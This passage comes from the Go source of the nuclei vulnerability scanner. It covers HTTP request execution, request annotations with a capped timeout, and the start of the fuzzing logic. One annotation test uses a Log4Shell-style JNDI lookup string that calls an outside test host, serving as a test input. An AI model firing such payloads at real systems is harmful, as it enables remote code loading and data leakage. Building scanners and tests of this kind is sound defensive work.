input.MetaInput.CustomIP\n\t\t} else {\n\t\t\tdialer := dialers.Fastdialer\n\t\t\tif dialer != nil {\n\t\t\t\toutputEvent[\"ip\"] = dialer.GetDialedIP(hostname)\n\t\t\t}\n\n\t\t\t// try getting cname\n\t\t\trequest.addCNameIfAvailable(hostname, outputEvent)\n\t\t}\n\t\tif request.options.Interactsh != nil {\n\t\t\trequest.options.Interactsh.MakePlaceholders(generatedRequest.interactshURLs, outputEvent)\n\t\t}\n\t\tmaps.Copy(finalEvent, previousEvent)\n\t\tmaps.Copy(finalEvent, outputEvent)\n\n\t\t// Add to history the current request number metadata if asked by the user.\n\t\tif request.NeedsRequestCondition() {\n\t\t\tfor k, v := range outputEvent {\n\t\t\t\tkey := fmt.Sprintf(\"%s_%d\", k, requestCount)\n\t\t\t\tif previousEvent != nil {\n\t\t\t\t\tpreviousEvent[key] = v\n\t\t\t\t}\n\t\t\t\tfinalEvent[key] = v\n\t\t\t}\n\t\t}\n\t\t// prune signature internal values if any\n\t\trequest.pruneSignatureInternalValues(generatedRequest.meta)\n\n\t\tinterimEvent := generators.MergeMaps(generatedRequest.dynamicValues, finalEvent)\n\t\tinterimEvent[\"payloads\"] = generatedRequest.meta\n\t\t// add the request URL pattern to the event BEFORE operators execute\n\t\t// so that interactsh events etc can also access it\n\t\tif request.options.ExportReqURLPattern {\n\t\t\tinterimEvent[ReqURLPatternKey] = generatedRequest.requestURLPattern\n\t\t}\n\t\tisDebug := request.options.Options.Debug || request.options.Options.DebugResponse\n\t\tevent := eventcreator.CreateEventWithAdditionalOptions(request, interimEvent, isDebug, func(internalWrappedEvent *output.InternalWrappedEvent) {\n\t\t\tinternalWrappedEvent.OperatorsResult.PayloadValues = generatedRequest.meta\n\t\t})\n\n\t\tif hasInteractMatchers {\n\t\t\tevent.UsesInteractsh = true\n\t\t}\n\n\t\tif request.options.GlobalMatchers.HasMatchers() {\n\t\t\trequest.options.GlobalMatchers.Match(interimEvent, request.Match, request.Extract, isDebug, func(event output.InternalEvent, result *operators.Result) {\n\t\t\t\tcallback(eventcreator.CreateEventWithOperatorResults(request, event, result))\n\t\t\t})\n\t\t}\n\n\t\tresponseContentType := respChain.Response().Header.Get(\"Content-Type\")\n\t\tisResponseTruncated := request.MaxSize > 0 && respChain.Body().Len() >= request.MaxSize\n\t\tdumpResponse(event, request, fullResponseStr, formedURL, responseContentType, isResponseTruncated, input.MetaInput.Input)\n\n\t\tcallback(event)\n\n\t\tif request.options.FuzzStatsDB != nil && generatedRequest.fuzzGeneratedRequest.Request != nil {\n\t\t\trequest.options.FuzzStatsDB.RecordResultEvent(fuzzStats.FuzzingEvent{\n\t\t\t\tURL:           input.MetaInput.Target(),\n\t\t\t\tTemplateID:    request.options.TemplateID,\n\t\t\t\tComponentType: generatedRequest.fuzzGeneratedRequest.Component.Name(),\n\t\t\t\tComponentName: generatedRequest.fuzzGeneratedRequest.Parameter,\n\t\t\t\tPayloadSent:   generatedRequest.fuzzGeneratedRequest.Value,\n\t\t\t\tStatusCode:    respChain.Response().StatusCode,\n\t\t\t\tMatched:       event.HasResults(),\n\t\t\t\tRawRequest:    string(dumpedRequest),\n\t\t\t\tRawResponse:   fullResponseStr,\n\t\t\t\tSeverity:      request.options.TemplateInfo.SeverityHolder.Severity.String(),\n\t\t\t})\n\t\t}\n\n\t\t// Skip further responses if we have stop-at-first-match and a match\n\t\tif (request.options.Options.StopAtFirstMatch || request.options.StopAtFirstMatch || request.StopAtFirstMatch) && event.HasResults() {\n\t\t\treturn nil\n\t\t}\n\t\t// proceed with previous response\n\t\t// we evaluate operators recursively for each response\n\t\t// until we reach the first redirect response\n\t\tif !respChain.Previous() {\n\t\t\tbreak\n\t\t}\n\t}\n\t// return project file save error if any\n\treturn errx\n}\n\n// validateNFixEvent validates and fixes the event\n// it adds any missing template-id and request-url-pattern\nfunc (request *Request) validateNFixEvent(input *contextargs.Context, gr *generatedRequest, err error, event *output.InternalWrappedEvent) {\n\tif event != nil {\n\t\tif event.InternalEvent == nil {\n\t\t\tevent.InternalEvent = make(map[string]interface{})\n\t\t\tevent.InternalEvent[\"template-id\"] = request.options.TemplateID\n\t\t}\n\t\t// add the request URL pattern to the event\n\t\tevent.InternalEvent[ReqURLPatternKey] = gr.requestURLPattern\n\t\tif event.InternalEvent[\"host\"] == nil {\n\t\t\tevent.InternalEvent[\"host\"] = input.MetaInput.Input\n\t\t}\n\t\tif event.InternalEvent[\"template-id\"] == nil {\n\t\t\tevent.InternalEvent[\"template-id\"] = request.options.TemplateID\n\t\t}\n\t\tif event.InternalEvent[\"type\"] == nil {\n\t\t\tevent.InternalEvent[\"type\"] = request.Type().String()\n\t\t}\n\t\tif event.InternalEvent[\"template-path\"] == nil {\n\t\t\tevent.InternalEvent[\"template-path\"] = request.options.TemplatePath\n\t\t}\n\t\tif event.InternalEvent[\"template-info\"] == nil {\n\t\t\tevent.InternalEvent[\"template-info\"] = request.options.TemplateInfo\n\t\t}\n\t\tif err != nil {\n\t\t\tevent.InternalEvent[\"error\"] = err.Error()\n\t\t}\n\t}\n}\n\n// addCNameIfAvailable adds the cname to the event if available\nfunc (request *Request) addCNameIfAvailable(hostname string, outputEvent map[string]interface{}) {\n\tif request.dialer == nil {\n\t\treturn\n\t}\n\n\tif request.options.Interactsh != nil {\n\t\tinteractshDomain := request.options.Interactsh.GetHostname()\n\t\tif interactshDomain != \"\" {\n\t\t\tif strings.EqualFold(hostname, interactshDomain) || strings.HasSuffix(hostname, \".\"+interactshDomain) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tdata, err := request.dialer.GetDNSData(hostname)\n\tif err == nil {\n\t\tswitch len(data.CNAME) {\n\t\tcase 0:\n\t\t\treturn\n\t\tcase 1:\n\t\t\toutputEvent[\"cname\"] = data.CNAME[0]\n\t\tdefault:\n\t\t\t// add 1st and put others in cname_all\n\t\t\toutputEvent[\"cname\"] = data.CNAME[0]\n\t\t\toutputEvent[\"cname_all\"] = data.CNAME\n\t\t}\n\t}\n}\n\n// handleSignature of the http request\nfunc (request *Request) handleSignature(generatedRequest *generatedRequest) error {\n\tswitch request.Signature.Value {\n\tcase AWSSignature:\n\t\tvar awsSigner signer.Signer\n\t\tallvars := generators.MergeMaps(request.options.Options.Vars.AsMap(), generatedRequest.dynamicValues)\n\t\tawsopts := signer.AWSOptions{\n\t\t\tAwsID:          types.ToString(allvars[\"aws-id\"]),\n\t\t\tAwsSecretToken: types.ToString(allvars[\"aws-secret\"]),\n\t\t}\n\t\tawsSigner, err := signerpool.Get(request.options.Options, &signerpool.Configuration{SignerArgs: &awsopts})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tctx := signer.GetCtxWithArgs(allvars, signer.AwsDefaultVars)\n\t\terr = awsSigner.SignHTTP(ctx, generatedRequest.request.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// setCustomHeaders sets the custom headers for generated request\nfunc (request *Request) setCustomHeaders(req *generatedRequest) {\n\tfor k, v := range request.customHeaders {\n\t\tif req.rawRequest != nil {\n\t\t\treq.rawRequest.Headers[k] = v\n\t\t} else {\n\t\t\tkk, vv := strings.TrimSpace(k), strings.TrimSpace(v)\n\t\t\t// NOTE(dwisiswant0): Do we really not need to convert it first into\n\t\t\t// lowercase?\n\t\t\tif kk == \"Host\" {\n\t\t\t\treq.request.Host = vv\n\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\treq.request.Header[kk] = []string{vv}\n\t\t}\n\t}\n}\n\nconst CRLF = \"\\r\\n\"\n\nfunc dumpResponse(event *output.InternalWrappedEvent, request *Request, redirectedResponse string, formedURL string, responseContentType string, isResponseTruncated bool, reqURL string) {\n\tcliOptions := request.options.Options\n\tif cliOptions.Debug || cliOptions.DebugResponse || cliOptions.StoreResponse {\n\t\tresponse := redirectedResponse\n\n\t\tvar highlightedResult string\n\t\tif (responseContentType == \"application/octet-stream\" || responseContentType == \"application/x-www-form-urlencoded\") && responsehighlighter.HasBinaryContent(response) {\n\t\t\thighlightedResult = createResponseHexDump(event, response, cliOptions.NoColor)\n\t\t} else {\n\t\t\thighlightedResult = responsehighlighter.Highlight(event.OperatorsResult, response, cliOptions.NoColor, false)\n\t\t}\n\n\t\tmsg := \"[%s] Dumped HTTP response %s\\n\\n%s\"\n\t\tif isResponseTruncated {\n\t\t\tmsg = \"[%s] Dumped HTTP response (Truncated) %s\\n\\n%s\"\n\t\t}\n\t\tfMsg := fmt.Sprintf(msg, request.options.TemplateID, formedURL, highlightedResult)\n\t\tif cliOptions.Debug || cliOptions.DebugResponse {\n\t\t\tgologger.Debug().Msg(fMsg)\n\t\t}\n\t\tif cliOptions.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(reqURL, request.options.TemplateID, request.Type().String(), fMsg)\n\t\t}\n\t}\n}\n\nfunc createResponseHexDump(event *output.InternalWrappedEvent, response string, noColor bool) string {\n\tCRLFs := CRLF + CRLF\n\theaderEndIndex := strings.Index(response, CRLFs) + len(CRLFs)\n\tif headerEndIndex > 0 {\n\t\theaders := response[0:headerEndIndex]\n\t\tresponseBodyHexDump := hex.Dump([]byte(response[headerEndIndex:]))\n\n\t\thighlightedHeaders := responsehighlighter.Highlight(event.OperatorsResult, headers, noColor, false)\n\t\thighlightedResponse := responsehighlighter.Highlight(event.OperatorsResult, responseBodyHexDump, noColor, true)\n\t\treturn fmt.Sprintf(\"%s\\n%s\", highlightedHeaders, highlightedResponse)\n\t} else {\n\t\treturn responsehighlighter.Highlight(event.OperatorsResult, hex.Dump([]byte(response)), noColor, true)\n\t}\n}\n\nfunc (request *Request) pruneSignatureInternalValues(maps ...map[string]interface{}) {\n\tvar signatureFieldsToSkip map[string]interface{}\n\tswitch request.Signature.Value {\n\tcase AWSSignature:\n\t\tsignatureFieldsToSkip = signer.AwsInternalOnlyVars\n\tdefault:\n\t\treturn\n\t}\n\n\tfor _, m := range maps {\n\t\tfor fieldName := range signatureFieldsToSkip {\n\t\t\tdelete(m, fieldName)\n\t\t}\n\t}\n}\n\nfunc (request *Request) newContext(input *contextargs.Context) context.Context {\n\tif input.MetaInput.CustomIP != \"\" {\n\t\treturn context.WithValue(input.Context(), fastdialer.IP, input.MetaInput.CustomIP)\n\t}\n\treturn input.Context()\n}\n\n// markHostError checks if the error is a unreponsive host error and marks it\nfunc (request *Request) markHostError(input *contextargs.Context, err error) {\n\tif request.options.HostErrorsCache != nil && err != nil {\n\t\trequest.options.HostErrorsCache.MarkFailedOrRemove(request.options.ProtocolType.String(), input, err)\n\t}\n}\n\n// isUnresponsiveAddress checks if the error is a unreponsive based on its execution history\nfunc (request *Request) isUnresponsiveAddress(input *contextargs.Context) bool {\n\tif request.options.HostErrorsCache != nil {\n\t\treturn request.options.HostErrorsCache.Check(request.options.ProtocolType.String(), input)\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_annotations.go",
    "content": "package http\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"net\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tiputil \"github.com/projectdiscovery/utils/ip\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\t// @Host:target overrides the input target with the annotated one (similar to self-contained requests)\n\treHostAnnotation = regexp.MustCompile(`(?m)^@Host:\\s*(.+)\\s*$`)\n\t// @tls-sni:target overrides the input target with the annotated one\n\t// special values:\n\t// request.host: takes the value from the host header\n\t// target: overrides with the specific value\n\treSniAnnotation = regexp.MustCompile(`(?m)^@tls-sni:\\s*(.+)\\s*$`)\n\t// @timeout:duration overrides the input timeout with a custom duration\n\treTimeoutAnnotation = regexp.MustCompile(`(?m)^@timeout:\\s*(.+)\\s*$`)\n\t// @once sets the request to be executed only once for a specific URL\n\treOnceAnnotation = regexp.MustCompile(`(?m)^@once\\s*$`)\n\t// maxAnnotationTimeout is the maximum timeout allowed for @timeout\n\t// annotations to prevent DoS attacks via extremely large timeout values.\n\tmaxAnnotationTimeout = 5 * time.Minute\n\t// ErrTimeoutAnnotationDeadline is the error returned when a specific amount of time was exceeded for a request\n\t// which was allotted using @timeout annotation this usually means that vulnerability was not found\n\t// in rare case it could also happen due to network congestion\n\t// the assigned class is TemplateLogic since this in almost every case means that server is not vulnerable\n\tErrTimeoutAnnotationDeadline = errkit.New(\"timeout annotation deadline exceeded\").SetKind(nucleierr.ErrTemplateLogic).Build()\n\t// ErrRequestTimeoutDeadline is the error returned when a specific amount of time was exceeded for a request\n\t// this happens when the request execution exceeds allotted time\n\tErrRequestTimeoutDeadline = errkit.New(\"request timeout deadline exceeded when notimeout is set\").SetKind(errkit.ErrKindDeadline).Build()\n)\n\ntype flowMark int\n\nconst (\n\tOnce flowMark = iota\n)\n\n// parseFlowAnnotations and override requests flow\nfunc parseFlowAnnotations(rawRequest string) (flowMark, bool) {\n\tvar fm flowMark\n\t// parse request for known override annotations\n\tvar hasFlowOverride bool\n\t// @once\n\tif reOnceAnnotation.MatchString(rawRequest) {\n\t\tfm = Once\n\t\thasFlowOverride = true\n\t}\n\n\treturn fm, hasFlowOverride\n}\n\ntype annotationOverrides struct {\n\trequest        *retryablehttp.Request\n\tcancelFunc     context.CancelFunc\n\tinteractshURLs []string\n}\n\n// parseAnnotations and override requests settings\nfunc (r *Request) parseAnnotations(rawRequest string, request *retryablehttp.Request) (overrides annotationOverrides, modified bool) {\n\t// parse request for known override annotations\n\n\t// @Host:target\n\tif hosts := reHostAnnotation.FindStringSubmatch(rawRequest); len(hosts) > 0 {\n\t\tvalue := strings.TrimSpace(hosts[1])\n\t\t// handle scheme\n\t\tswitch {\n\t\tcase stringsutil.HasPrefixI(value, \"http://\"):\n\t\t\trequest.Scheme = \"http\"\n\t\tcase stringsutil.HasPrefixI(value, \"https://\"):\n\t\t\trequest.Scheme = \"https\"\n\t\t}\n\n\t\tvalue = stringsutil.TrimPrefixAny(value, \"http://\", \"https://\")\n\n\t\tif isHostPort(value) {\n\t\t\trequest.URL.Host = value\n\t\t} else {\n\t\t\thostPort := value\n\t\t\tport := request.Port()\n\t\t\tif port != \"\" {\n\t\t\t\thostPort = net.JoinHostPort(hostPort, port)\n\t\t\t}\n\t\t\trequest.URL.Host = hostPort\n\t\t}\n\t\tmodified = true\n\t}\n\n\t// @tls-sni:target\n\tif hosts := reSniAnnotation.FindStringSubmatch(rawRequest); len(hosts) > 0 {\n\t\tvalue := strings.TrimSpace(hosts[1])\n\t\tvalue = stringsutil.TrimPrefixAny(value, \"http://\", \"https://\")\n\n\t\tvar literal bool\n\t\tswitch value {\n\t\tcase \"request.host\":\n\t\t\tvalue = request.Host\n\t\tcase \"interactsh-url\":\n\t\t\tif interactshURL, err := r.options.Interactsh.NewURLWithData(\"interactsh-url\"); err == nil {\n\t\t\t\tvalue = interactshURL\n\t\t\t}\n\t\t\toverrides.interactshURLs = append(overrides.interactshURLs, value)\n\t\tdefault:\n\t\t\tliteral = true\n\t\t}\n\t\tctx := context.WithValue(request.Context(), fastdialer.SniName, value)\n\t\trequest = request.Clone(ctx)\n\n\t\tif literal {\n\t\t\trequest.TLS = &tls.ConnectionState{ServerName: value}\n\t\t}\n\t\tmodified = true\n\t}\n\n\t// @timeout:duration\n\tif r.connConfiguration.NoTimeout {\n\t\tmodified = true\n\t\tvar ctx context.Context\n\n\t\tif duration := reTimeoutAnnotation.FindStringSubmatch(rawRequest); len(duration) > 0 {\n\t\t\tvalue := strings.TrimSpace(duration[1])\n\t\t\tif parsedTimeout, err := time.ParseDuration(value); err == nil {\n\t\t\t\t// Cap at maximum allowed timeout to prevent DoS via extremely large timeout values\n\t\t\t\tif parsedTimeout > maxAnnotationTimeout {\n\t\t\t\t\tparsedTimeout = maxAnnotationTimeout\n\t\t\t\t}\n\n\t\t\t\t//nolint:govet // cancelled automatically by withTimeout\n\t\t\t\t// global timeout is overridden by annotation by replacing context\n\t\t\t\tctx, overrides.cancelFunc = context.WithTimeoutCause(context.TODO(), parsedTimeout, ErrTimeoutAnnotationDeadline)\n\t\t\t\t// add timeout value to context\n\t\t\t\tctx = context.WithValue(ctx, httpclientpool.WithCustomTimeout{}, httpclientpool.WithCustomTimeout{Timeout: parsedTimeout})\n\t\t\t\trequest = request.Clone(ctx)\n\t\t\t}\n\t\t} else {\n\t\t\t//nolint:govet // cancelled automatically by withTimeout\n\t\t\t// global timeout is overridden by annotation by replacing context\n\t\t\tctx, overrides.cancelFunc = context.WithTimeoutCause(context.TODO(), r.options.Options.GetTimeouts().HttpTimeout, ErrRequestTimeoutDeadline)\n\t\t\trequest = request.Clone(ctx)\n\t\t}\n\t}\n\n\toverrides.request = request\n\n\treturn\n}\n\nfunc isHostPort(value string) bool {\n\t_, port, err := net.SplitHostPort(value)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif !iputil.IsPort(port) {\n\t\treturn false\n\t}\n\treturn true\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_annotations_test.go",
    "content": "package http\n\nimport (\n\t\"context\"\n\t\"net/http\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc getExecuterOptions(t *testing.T) *protocols.ExecutorOptions {\n\tt.Helper()\n\n\toptions := testutils.DefaultOptions.Copy()\n\toptions.Logger = &gologger.Logger{}\n\ttestutils.Init(options)\n\n\treturn testutils.NewMockExecuterOptions(options, nil)\n}\n\nfunc TestRequestParseAnnotationsSNI(t *testing.T) {\n\tt.Run(\"compliant-SNI-value\", func(t *testing.T) {\n\t\treq := &Request{connConfiguration: &httpclientpool.Configuration{}}\n\t\trawRequest := `@tls-sni: github.com\n\t\tGET / HTTP/1.1\n\t\tHost: {{Hostname}}`\n\n\t\thttpReq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\t\trequire.Nil(t, err, \"could not create http request\")\n\n\t\toverrides, modified := req.parseAnnotations(rawRequest, httpReq)\n\t\trequire.True(t, modified, \"could not apply request annotations\")\n\t\trequire.Equal(t, \"github.com\", overrides.request.TLS.ServerName)\n\t\trequire.Equal(t, \"example.com\", overrides.request.Host)\n\t})\n\tt.Run(\"non-compliant-SNI-value\", func(t *testing.T) {\n\t\treq := &Request{connConfiguration: &httpclientpool.Configuration{}}\n\t\trawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}\n\t\tGET / HTTP/1.1\n\t\tHost: {{Hostname}}`\n\n\t\thttpReq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\t\trequire.Nil(t, err, \"could not create http request\")\n\n\t\toverrides, modified := req.parseAnnotations(rawRequest, httpReq)\n\t\trequire.True(t, modified, \"could not apply request annotations\")\n\t\trequire.Equal(t, \"${jndi:ldap://${hostName}.test.com}\", overrides.request.TLS.ServerName)\n\t\trequire.Equal(t, \"example.com\", overrides.request.Host)\n\t})\n}\n\nfunc TestRequestParseAnnotationsTimeout(t *testing.T) {\n\tt.Run(\"positive\", func(t *testing.T) {\n\t\trequest := &Request{\n\t\t\toptions:           getExecuterOptions(t),\n\t\t\tconnConfiguration: &httpclientpool.Configuration{NoTimeout: true},\n\t\t}\n\t\trawRequest := `@timeout: 2s\n\t\tGET / HTTP/1.1\n\t\tHost: {{Hostname}}`\n\n\t\thttpReq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\t\trequire.Nil(t, err, \"could not create http request\")\n\n\t\toverrides, modified := request.parseAnnotations(rawRequest, httpReq)\n\t\trequire.NotNil(t, overrides.cancelFunc, \"could not initialize valid cancel function\")\n\t\trequire.True(t, modified, \"could not get correct modified value\")\n\n\t\t// Verify context has deadline\n\t\tdeadline, deadlined := overrides.request.Context().Deadline()\n\t\trequire.True(t, deadlined, \"could not get set request deadline\")\n\n\t\t// Verify the timeout value is stored in context\n\t\tcustomTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)\n\t\trequire.True(t, ok, \"custom timeout not found in context\")\n\t\trequire.Equal(t, 2*time.Second, customTimeout.Timeout, \"timeout value mismatch\")\n\n\t\t// Verify deadline is approximately 2 seconds from now\n\t\texpectedDeadline := time.Now().Add(2 * time.Second)\n\t\trequire.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, \"deadline not set correctly\")\n\t})\n\n\tt.Run(\"large-timeout\", func(t *testing.T) {\n\t\trequest := &Request{\n\t\t\toptions:           getExecuterOptions(t),\n\t\t\tconnConfiguration: &httpclientpool.Configuration{NoTimeout: true},\n\t\t}\n\n\t\t// Request a timeout of 10 minutes - should be capped at 5 minutes\n\t\trawRequest := `@timeout: 10m\n\t\tGET / HTTP/1.1\n\t\tHost: {{Hostname}}`\n\n\t\thttpReq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\t\trequire.Nil(t, err, \"could not create http request\")\n\n\t\toverrides, modified := request.parseAnnotations(rawRequest, httpReq)\n\t\trequire.NotNil(t, overrides.cancelFunc, \"could not initialize valid cancel function\")\n\t\trequire.True(t, modified, \"could not get correct modified value\")\n\n\t\t// Verify context has deadline\n\t\tdeadline, deadlined := overrides.request.Context().Deadline()\n\t\trequire.True(t, deadlined, \"could not get set request deadline\")\n\n\t\t// Verify the timeout was capped at 5 minutes (not 10 minutes)\n\t\tcustomTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)\n\t\trequire.True(t, ok, \"custom timeout not found in context\")\n\n\t\trequire.Equal(t, 5*time.Minute, customTimeout.Timeout, \"timeout should be capped at 5 minutes\")\n\t\trequire.Less(t, customTimeout.Timeout, 10*time.Minute, \"timeout should be less than requested 10 minutes\")\n\n\t\t// Verify deadline matches the capped timeout\n\t\texpectedDeadline := time.Now().Add(5 * time.Minute)\n\t\trequire.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, \"deadline not set to capped timeout\")\n\t})\n\n\tt.Run(\"below-cap-timeout\", func(t *testing.T) {\n\t\trequest := &Request{\n\t\t\toptions:           getExecuterOptions(t),\n\t\t\tconnConfiguration: &httpclientpool.Configuration{NoTimeout: true},\n\t\t}\n\n\t\t// Request a timeout of 2 minutes - should be allowed (below 5 minute cap)\n\t\trawRequest := `@timeout: 2m\n\t\tGET / HTTP/1.1\n\t\tHost: {{Hostname}}`\n\n\t\thttpReq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\t\trequire.Nil(t, err, \"could not create http request\")\n\n\t\toverrides, modified := request.parseAnnotations(rawRequest, httpReq)\n\t\trequire.NotNil(t, overrides.cancelFunc, \"could not initialize valid cancel function\")\n\t\trequire.True(t, modified, \"could not get correct modified value\")\n\n\t\t// Verify context has deadline\n\t\tdeadline, deadlined := overrides.request.Context().Deadline()\n\t\trequire.True(t, deadlined, \"could not get set request deadline\")\n\n\t\t// Verify the timeout is NOT capped - should be 2 minutes\n\t\tcustomTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)\n\t\trequire.True(t, ok, \"custom timeout not found in context\")\n\n\t\trequire.Equal(t, 2*time.Minute, customTimeout.Timeout, \"timeout should be the requested 2 minutes\")\n\n\t\t// Verify deadline matches the requested timeout\n\t\texpectedDeadline := time.Now().Add(2 * time.Minute)\n\t\trequire.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, \"deadline not set to requested timeout\")\n\t})\n\n\tt.Run(\"negative\", func(t *testing.T) {\n\t\trequest := &Request{\n\t\t\toptions:           getExecuterOptions(t),\n\t\t\tconnConfiguration: &httpclientpool.Configuration{},\n\t\t}\n\t\trawRequest := `GET / HTTP/1.1\n\t\tHost: {{Hostname}}`\n\n\t\thttpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, \"https://example.com\", nil)\n\t\trequire.Nil(t, err, \"could not create http request\")\n\n\t\tnewRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)\n\t\trequire.Nil(t, newRequestWithOverrides.cancelFunc, \"cancel function should be nil\")\n\t\trequire.False(t, modified, \"could not get correct modified value\")\n\t\t_, deadlined := newRequestWithOverrides.request.Context().Deadline()\n\t\trequire.False(t, deadlined, \"could not get set request deadline\")\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_condition.go",
    "content": "package http\n\nimport (\n\t\"regexp\"\n\t\"slices\"\n)\n\nvar (\n\t// Determines if request condition are needed by detecting the pattern _xxx\n\treRequestCondition = regexp.MustCompile(`(?m)_\\d+`)\n)\n\n// NeedsRequestCondition determines if request condition should be enabled\nfunc (request *Request) NeedsRequestCondition() bool {\n\tfor _, matcher := range request.Matchers {\n\t\tif checkRequestConditionExpressions(matcher.DSL...) {\n\t\t\treturn true\n\t\t}\n\t\tif checkRequestConditionExpressions(matcher.Part) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor _, extractor := range request.Extractors {\n\t\tif checkRequestConditionExpressions(extractor.DSL...) {\n\t\t\treturn true\n\t\t}\n\t\tif checkRequestConditionExpressions(extractor.Part) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc checkRequestConditionExpressions(expressions ...string) bool {\n\treturn slices.ContainsFunc(expressions, reRequestCondition.MatchString)\n}\n"
  },
  {
    "path": "pkg/protocols/http/request_fuzz.go",
    "content": "package http\n\n// === Fuzzing Documentation (Scoped to this File) =====\n// -> request.executeFuzzingRule   [iterates over payloads(+requests) and executes]\n//\t-> request.executePayloadUsingRules [executes single payload on all rules (if more than 1)]\n//\t\t-> request.executeGeneratedFuzzingRequest [execute final generated fuzzing request and get result]\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/useragent\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// executeFuzzingRule executes fuzzing request for a URL\n// TODO:\n// 1. use SPMHandler and rewrite stop at first match logic here\n// 2. use scanContext instead of contextargs.Context\nfunc (request *Request) executeFuzzingRule(input *contextargs.Context, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\t// methdology:\n\t// to check applicablity of rule, we first try to execute it with one value\n\t// if it is applicable, we execute all requests\n\t// if it is not applicable, we log and fail silently\n\n\t// check if target should be fuzzed or not\n\tif !request.ShouldFuzzTarget(input) {\n\t\turlx, _ := input.MetaInput.URL()\n\t\tif urlx != nil {\n\t\t\tgologger.Verbose().Msgf(\"[%s] fuzz: target(%s) not applicable for fuzzing\\n\", request.options.TemplateID, urlx.String())\n\t\t} else {\n\t\t\tgologger.Verbose().Msgf(\"[%s] fuzz: target(%s) not applicable for fuzzing\\n\", request.options.TemplateID, input.MetaInput.Input)\n\t\t}\n\t\treturn nil\n\t}\n\n\tif input.MetaInput.Input == \"\" && input.MetaInput.ReqResp == nil {\n\t\treturn errors.New(\"empty input provided for fuzzing\")\n\t}\n\n\t// ==== fuzzing when full HTTP request is provided =====\n\n\tif input.MetaInput.ReqResp != nil {\n\t\tbaseRequest, err := input.MetaInput.ReqResp.BuildRequest()\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"fuzz: could not build request obtained from target file\")\n\t\t}\n\t\trequest.addHeadersToRequest(baseRequest)\n\t\tinput.MetaInput.Input = baseRequest.String()\n\t\t// execute with one value first to checks its applicability\n\t\terr = request.executeAllFuzzingRules(input, previous, baseRequest, callback)\n\t\tif err != nil {\n\t\t\t// in case of any error, return it\n\t\t\tif fuzz.IsErrRuleNotApplicable(err) {\n\t\t\t\t// log and fail silently\n\t\t\t\tgologger.Verbose().Msgf(\"[%s] fuzz: %s\\n\", request.options.TemplateID, err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif errors.Is(err, ErrMissingVars) {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgologger.Verbose().Msgf(\"[%s] fuzz: payload request execution failed: %s\\n\", request.options.TemplateID, err)\n\t\t}\n\t\treturn nil\n\t}\n\n\t// ==== 